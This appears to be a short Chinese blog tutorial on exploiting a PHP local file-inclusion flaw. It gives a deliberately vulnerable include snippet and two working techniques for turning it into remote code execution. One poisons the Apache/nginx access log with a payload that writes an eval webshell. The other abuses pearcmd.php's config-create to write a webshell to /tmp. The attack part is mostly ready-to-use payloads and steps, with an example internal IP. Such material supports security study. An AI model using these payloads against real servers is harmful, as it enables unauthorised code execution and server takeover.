0%

裸文件包含

[TOC]

<?php
include('file://'.$_GET['file']);
?>

日志文件包含利用

前置知识:

Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中。

注意:因为浏览器会将url中的一些字符进行urlencode编码,为了不让记录到access.log中的内容被编码,要用bp抓包写入payload并发送。

以上面提到的漏洞代码为例,假设漏洞文件为exp.php:

payload

/<?php $fp=fopen('1.php','w');fputs($fp,'<?php @eval($_POST[1])?>');?>

bp发送上面payload,然后访问exp.php?file=/var/log/nginx/access.log,便会在exp.php同目录下生成1.php文件,其内含我们写入的马,蚁剑连接http://192.168.1.9/exp.php?file=1.php即可。

pearcmd.php的利用

注意:

  1. 该攻击方法的前提是php开启了register_argc_argv。
  2. Docker中pearcmd.php的默认在/usr/local/lib/php/路径下。

pear命令有一个参数是config-create,而这个命令又需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。

同样以上面的漏洞代码为例,还是要用bp,不过这次注意要在把包给到Repeater前修改参数。

+config-create+/&file=/usr/local/lib/php/pearcmd.php&<?=@eval($_POST[1])?>+/tmp/a.php

参考文章:

【文件包含漏洞】——文件包含漏洞进阶_日志文件包含利用_文件包含漏洞 apache日志-CSDN博客

利用pearcmd实现裸文件包含 - endermanneer - 博客园

Docker PHP裸文件本地包含综述 | 离别歌